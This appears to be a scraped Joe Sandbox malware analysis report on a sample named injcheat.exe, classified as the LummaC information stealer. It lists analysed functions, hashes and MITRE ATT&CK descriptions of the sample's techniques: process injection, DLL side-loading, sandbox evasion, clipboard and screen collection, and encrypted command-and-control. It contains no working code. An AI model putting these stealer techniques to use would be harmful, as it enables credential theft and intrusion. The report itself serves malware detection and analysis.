Instruction Fuzzy Hash: 56F130B4608380ABD310DF15E881A2BBBF4FB86748F944D1DF4D59B252D378D908CB9A

Function 00438720 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 115clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00438738
GetWindowLongW.USER32 ref: 00438763
GetClipboardData.USER32 ref: 00438773
CloseClipboard.USER32 ref: 00438880

Strings

?, xrefs: 004387C9
9, xrefs: 004387D1
6, xrefs: 004387D9
6, xrefs: 004387D5
9, xrefs: 004387DD
=, xrefs: 004387CD
8, xrefs: 004387E5

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID: 6$6$8$9$9$=$?
API String ID: 1647500905-2499364611
Opcode ID: 7c9163cd6bc49d62cda3546406a8a3a59e414d7ee2d25f2b6b977c001a77ad7b
Instruction ID: c6cecdc6b357f73a091e8619202f080a94ed584840656985310604660298186b
Opcode Fuzzy Hash: 7c9163cd6bc49d62cda3546406a8a3a59e414d7ee2d25f2b6b977c001a77ad7b
Instruction Fuzzy Hash: F741B170C08385CFDB01AFB8D5893AEBFB0AB5A314F14092EE485A7381D7794949C76B

Function 004390EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00439124
GetSystemMetrics.USER32 ref: 00439133

Strings

, xrefs: 004391DE

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: ab5555a52b31076e5eeb6519deaae68eca3c41e93bfc72b6c9b35e59f4d21b4a
Instruction ID: 7f7dffd27c621b542e95bdab6b7ee4d7f31120e949507c5ac4fca7aa65185fb2
Opcode Fuzzy Hash: ab5555a52b31076e5eeb6519deaae68eca3c41e93bfc72b6c9b35e59f4d21b4a
Instruction Fuzzy Hash: 6C3160B49183048FDB00EF6CDA8565EBBF4BF89704F11492DE498DB360D775A948CB86

Function 00439843 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00439891
GetSystemMetrics.USER32 ref: 004398A0

Strings

, xrefs: 00439974

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: c81f12191cba6e53c0562e90626fcbcb1d354553d74947de8f13948612130a55
Instruction ID: eb4df33fe1d6a66542a4d5aad425eba8fef39bce69b1d50955d9d3d9aaf60553
Opcode Fuzzy Hash: c81f12191cba6e53c0562e90626fcbcb1d354553d74947de8f13948612130a55
Instruction Fuzzy Hash: 3B516DB4E142188FDB40EFACD985A9EBBF0BB48310F018529E898E7350D734A944CF96

Function 0040F1FB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,57A649BB,0044D58A,832F8123,00000000,00000005), ref: 0040F32F

Strings

8@-, xrefs: 0040F33A
PQ, xrefs: 0040F2BF

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: 8@-$PQ
API String ID: 587946157-876866189
Opcode ID: 1a0b4a114143d5ca3374a3cd52da601592b1729854c1c1369e379120faed14fe
Instruction ID: 32a7b61192442560c6f92bb2f4be214f77c1956f3597500a90fccf8073e86402
Opcode Fuzzy Hash: 1a0b4a114143d5ca3374a3cd52da601592b1729854c1c1369e379120faed14fe
Instruction Fuzzy Hash: 5F312878A012689FDB208F94DD45BDEBB71BF46301F1408E9E689AA281C7B54E848F56

Function 00435551 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043555A
VariantInit.OLEAUT32 ref: 00435566

Strings

2, xrefs: 004355B5

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: 2
API String ID: 2610073882-450215437
Opcode ID: 9656e49463a1eac2a2e27d608098374d928559fc5e9cd49b246a20351250d731
Instruction ID: 1309dba7e2d53283adf9958502b19f3f730abdb88899d5b7c892982ad23b04e6
Opcode Fuzzy Hash: 9656e49463a1eac2a2e27d608098374d928559fc5e9cd49b246a20351250d731
Instruction Fuzzy Hash: 6341D370108BC1CED722DF2CC494646BFA0AB56324F188A9CD8EA4F3DAC775E505CB62

Function 00435A84 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435AA6
VariantInit.OLEAUT32 ref: 00435AB2

Strings

2, xrefs: 00435B01

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: 2
API String ID: 2610073882-450215437
Opcode ID: b9a854552b158eee2be1d84dc97acde07f31a6659becb1d60da7bb16dc3eeda4
Instruction ID: 10a0ad4f487e5ee891bf26f48cdc5f2681f831964d1233476b22d4ecaaddf2d0
Opcode Fuzzy Hash: b9a854552b158eee2be1d84dc97acde07f31a6659becb1d60da7bb16dc3eeda4
Instruction Fuzzy Hash: B141C570108BC18ED725CF2CC494656BFE0AB5A324F18868DE8EA8F3D6C775D506DB62

Function 00435A99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435AA6
VariantInit.OLEAUT32 ref: 00435AB2

Strings

2, xrefs: 00435B01

Memory Dump Source

Source File: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: 2
API String ID: 2610073882-450215437
Opcode ID: fb5371bdd09d0e906117c41cc88a3a5b350ebddee64f3fa9cb34d119133aa536
Instruction ID: e960a9e32f486725a985871b83e160e2d060c1978967536bf2cf05e5ffba8ce9
Opcode Fuzzy Hash: fb5371bdd09d0e906117c41cc88a3a5b350ebddee64f3fa9cb34d119133aa536
Instruction Fuzzy Hash: A831C320008BC18EDB229F3C8488646BFA05F27224F1887DDD8EA4F3DBC365D506DB66

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report injcheat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_43832d93ddcf66f1edc5babbb1e353ebb92236_05bdfb8c_baa4bba1-0414-46fd-b4ad-a139b8562bf3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_injcheat.exe_bfdbaff99cfc5fd6ea5e84811572a32612ee71_c64bc4dd_96141fc8-3caa-417b-b7e8-b1b992ca8023\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER736.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER860.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER881.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB5F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBBE.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC2C.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
injcheat.exe

Function 00811FE0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 435
memoryCOMMON

Function 00865ECC Relevance: 21.7, Strings: 17, Instructions: 438
COMMON